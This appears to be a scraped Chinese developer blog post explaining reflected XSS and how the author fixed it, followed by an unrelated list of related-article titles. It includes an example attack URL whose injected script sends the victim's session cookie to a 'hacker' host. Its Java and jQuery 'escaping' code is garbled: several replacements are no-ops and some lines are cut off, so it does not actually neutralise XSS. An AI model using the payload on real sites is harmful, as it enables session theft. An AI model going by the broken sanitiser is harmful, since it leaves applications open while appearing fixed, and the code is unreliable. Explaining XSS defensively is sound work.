什么是反射型XSS

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的,比如获取用户的cookie,导航到恶意网站,携带木马等等。利用该漏洞,攻击者可以劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者拥有该授权用户的所有权限。

反射型XSS漏洞的攻击步骤

(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:

例:Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7

(2) 攻击者将含有攻击代码的URL发送给被攻击人,例:http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E

举例子:比如网站一般都有的搜索框,当在输入框里面输入: 的时候,如果你没有处理xss,那么就会弹出提示框,攻击者可以获取cookie信息,从而达到获取用户的所有权限

一般解决办法:

反射型XSS漏洞处理

了解了一下一般反射型XSS漏洞的处理:

(1) 对一些特殊的标签进行转义;

(2) 直接过滤掉JavaScript事件标签和一些特殊的html标签;

(3) 将重要的cookie标记为http only;

(4) 只允许用户输入我们期望的数据;

(5) 对数据进行html encode处理等。

我的实际解决方案:

第一,我在后端(java)对要输出到前端的信息,进行特殊字符转换,这样的话jsp页面里就识别不出来为js代码

public static String revertString(String input) {

// 使失去用处的标签从新有作用

if (input == null) {

input = "";

return input;

}

input = input.trim().replaceAll("&", "&");

input = input.trim().replaceAll("

input = input.trim().replaceAll(">", ">");

input = input.trim().replaceAll("\t", " ");

input = input.trim().replaceAll("\r\n", "\n");

input = input.trim().replaceAll("\n", "
");

input = input.trim().replaceAll("\"", """);

input = input.trim().replaceAll("'", "'");

input = input.trim().replaceAll("\\\\", "\");

return input;

}

第二,如果你在前端进行赋值的话,也要进行转换

var content = $("#so").val().replace(/&/g, '&').toString().replace(//g, '>');

$('#ssjg_div').html(content );

如此就可以解决:搜索框里输入以下所遇到的问题了:

1,

2,"aa"

3,$nbsp

java前端提示反射型xss_搜索框反射型xss问题解决(网站开发)相关推荐

  1. 百度搜索结果页面的参数 提示词输入搜索框方式(rsv_sug5)

    选择百度搜索框提示后,搜索结果页面会产生一个参数 rsv_sug5=0,在百度.谷歌.搜搜.搜狗.360.必应.有道.新浪微博.腾讯微博.云云上都没有找到有关介绍.那么接下来的内容必定是原创. 百度搜 ...

  2. 搜索功能java代码_简单的搜索框代码实现

    简单的搜索框页面功能的实现(代码如下) String path = request.getContextPath(); String basePath = request.getScheme()+&q ...

  3. 漂亮的带搜索框蓝黄拼色网站404页面源码

    简介: 蓝黄拼凑起来的两种底色的404页面,比较少见,还别说,这样一搭配还是比较靓丽. 着404页面犹如我们穿的衣服,还是要合理打扮和搭配,这个就是百搭. 同时,页面还有一个搜索框,但是搜索框暂时是不 ...

  4. java前端提示反射型xss_解决反射型XSS漏洞攻击

    1 /* 2 * Copyright (C), 2001-2019, xiaoi机器人3 * Author: han.sun4 * Date: 2019/2/28 11:395 * History:6 ...

  5. vue纯前端留痕,搜索框历史记录,获取焦点,失去焦点历史记录消失

    效果图 html代码 <div class="search"><div class="search-btn"><el-inputv ...

  6. java某市出租车_智慧职教mooc的APPJavaEE企业级网站开发章节测验答案

    A.突触前膜 B.突触后膜 C.突触前膜内的胞质 D.突触后膜内的胞质 E.突触间隙 某市出租车的收费标准如表.3千米以内起步价7元3千米以上每千米付车费1.2元(不足一千米部分按一千米算)(1)王 ...

  7. PHP自动搜索框post,php搜索框提示(自动完成)实例代码_PHP教程

    百度的搜索大家都在用,当用户输入文字时,搜索框下面自动提示相关的信息,加强了用户体验,的确不错,那么这个效果是如何实现的呢 先看一下效果图吧,这样更有动力,要不然大家还不知道我在讲什么,到底要达到什么 ...

  8. 百度搜索结果的URL参数 搜索框提示词搜索方式(rsv_sug2)

    通过百度搜索框提示,看到可能想找的关键词之后,百度提供了2种方式供选择,并且用参数 rsv_sug2 记录了用户的选择. 百度搜索结果网址参数 搜索框提示词搜索方式(rsv_sug2) 名称 rsv_ ...

  9. 百度搜索引擎结果网址参数 搜索框提示词搜索方式(rsv_sug2)

    通过百度搜索框提示,看到可能想找的关键词之后,百度提供了2种方式供选择,并且用参数 rsv_sug2 记录了用户的选择. [b]百度搜索结果网址参数 搜索框提示词搜索方式(rsv_sug2)[/b] ...

最新文章

  1. 手写简版spring --9--对象作用域和FactoryBean
  2. Python 工具——Anaconda+Pycharm 的安装过程
  3. 关于自定义的登录机制在SAP Spartacus服务器端渲染(SSR)实施过程中遇到的问题
  4. [Java基础][Java]toString()方法
  5. elasticsearch存储空间不足导致索引只读,不能创建
  6. CIO常犯的五个错误
  7. 使用dotMemory Unit发现并修复内存问题
  8. vs code c语言json文件配置,解析VScode在Windows环境下c_cpp_properties.json文件配置问题(推荐)...
  9. Spring的IoC容器实现原理(一)#loadBeanDefinition
  10. 5G成鸡肋?运营商可能冷处理,中国移动则加快建设4G的FDD900
  11. 锯齿波调制的FMCW雷达中频回波信号的公式推导
  12. 门户前浪退市,从此只做“新浪”
  13. Win10系统 Python解释器:anaconda的安装
  14. 简单概括 文明进化的各个阶段 (39)
  15. WPS文字怎么设置页面如分隔符、背景、页面边框等等
  16. 七牛云融合CDN到底怎么配置?
  17. each 和 forEach 和{{each}}
  18. ubuntu命令行界面自作iso镜像
  19. LeetCode 993. 二叉树的堂兄弟节点
  20. 谷歌广告联盟电汇收款指南

热门文章

  1. 天津城市职业学院计算机查询,天津城市职业学院教务管理系统成绩查询、网上选课查分登录入口...
  2. Java框架开发基础-解析XML文件
  3. 4千块小米新旗舰发布:首发骁龙888,雷军:AI性能盖过华为苹果
  4. 国内最大BT下载站(BTChina.net)关闭声明
  5. 网页端可以在线使用的PS工具推荐
  6. 女儿心、女儿情、女儿城
  7. UESTC1712 七夜雪寂,一世人心(SG)
  8. 数字孪生智慧火电解决方案
  9. 25岁,毕业一年辞职自学转行嵌入式是否可行?
  10. 新浪微薄与腾讯微薄的第三方登录